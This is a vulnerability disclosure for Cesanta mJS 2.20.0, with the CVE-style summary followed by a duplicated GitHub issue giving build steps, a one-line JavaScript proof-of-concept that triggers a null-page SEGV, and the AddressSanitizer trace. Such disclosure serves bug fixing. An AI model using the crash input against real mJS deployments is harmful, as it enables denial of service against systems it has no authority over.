Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via add_lineno_map_item at src/mjs_bcode.c. This vulnerability can lead to a Denial of Service (DoS).
cpe:2.3:a:cesanta:mjs:2.20.0:*:*:*:*:*:*:*
CF8D39F6-ACB1-46F8-87CF-1B41EFC157BE
OR
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)




###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
(JSON.stringify([1, 2, 3]))(((print-6.32*(823))-6.32*21e2)(JSON.parse(JSON.stringify([(0)]))));J
```
</code></pre>
</details>
​	

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==82386==ERROR: AddressSanitizer: SEGV on unknown address 0x0000000000e4 (pc 0x55a4aeab6fd4 bp 0x00000000008c sp 0x7ffc17a28520 T0)
==82386==The signal is caused by a READ memory access.
==82386==Hint: address points to the zero page.
    #0 0x55a4aeab6fd3 in add_lineno_map_item src/mjs_bcode.c:15
    #1 0x55a4aeab6fd3 in emit_int src/mjs_bcode.c:47
    #2 0x55a4aeb600dd in parse_comparison src/mjs_parser.c:431
    #3 0x55a4aeb600dd in parse_equality src/mjs_parser.c:435
    #4 0x55a4aeb65d0b in parse_bitwise_and src/mjs_parser.c:440
    #5 0x55a4aeb65d0b in parse_bitwise_xor src/mjs_parser.c:445
    #6 0x55a4aeb32177 in parse_bitwise_or src/mjs_parser.c:450
    #7 0x55a4aeb32177 in parse_logical_and src/mjs_parser.c:455
    #8 0x55a4aeb32177 in parse_logical_or src/mjs_parser.c:460
    #9 0x55a4aeb32177 in parse_ternary src/mjs_parser.c:465
    #10 0x55a4aeb32177 in parse_assignment src/mjs_parser.c:503
    #11 0x55a4aeb388d7 in parse_expr src/mjs_parser.c:507
    #12 0x55a4aeb388d7 in parse_statement src/mjs_parser.c:945

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_bcode.c:15 in add_lineno_map_item
==82386==ABORTING
```
Credits: Found by OWL337 team.
SEGV src/mjs_bcode.c:15 in add_lineno_map_item
This is a GitHub Issue
repo:mjs
owner:cesanta
Title : SEGV src/mjs_bcode.c:15 in add_lineno_map_item
Issue date:

--- start body ---
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)




###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
(JSON.stringify([1, 2, 3]))(((print-6.32*(823))-6.32*21e2)(JSON.parse(JSON.stringify([(0)]))));J
```
</code></pre>
</details>
​	

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==82386==ERROR: AddressSanitizer: SEGV on unknown address 0x0000000000e4 (pc 0x55a4aeab6fd4 bp 0x00000000008c sp 0x7ffc17a28520 T0)
==82386==The signal is caused by a READ memory access.
==82386==Hint: address points to the zero page.
    #0 0x55a4aeab6fd3 in add_lineno_map_item src/mjs_bcode.c:15
    #1 0x55a4aeab6fd3 in emit_int src/mjs_bcode.c:47
    #2 0x55a4aeb600dd in parse_comparison src/mjs_parser.c:431
    #3 0x55a4aeb600dd in parse_equality src/mjs_parser.c:435
    #4 0x55a4aeb65d0b in parse_bitwise_and src/mjs_parser.c:440
    #5 0x55a4aeb65d0b in parse_bitwise_xor src/mjs_parser.c:445
    #6 0x55a4aeb32177 in parse_bitwise_or src/mjs_parser.c:450
    #7 0x55a4aeb32177 in parse_logical_and src/mjs_parser.c:455
    #8 0x55a4aeb32177 in parse_logical_or src/mjs_parser.c:460
    #9 0x55a4aeb32177 in parse_ternary src/mjs_parser.c:465
    #10 0x55a4aeb32177 in parse_assignment src/mjs_parser.c:503
    #11 0x55a4aeb388d7 in parse_expr src/mjs_parser.c:507
    #12 0x55a4aeb388d7 in parse_statement src/mjs_parser.c:945

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_bcode.c:15 in add_lineno_map_item
==82386==ABORTING
```
Credits: Found by OWL337 team.
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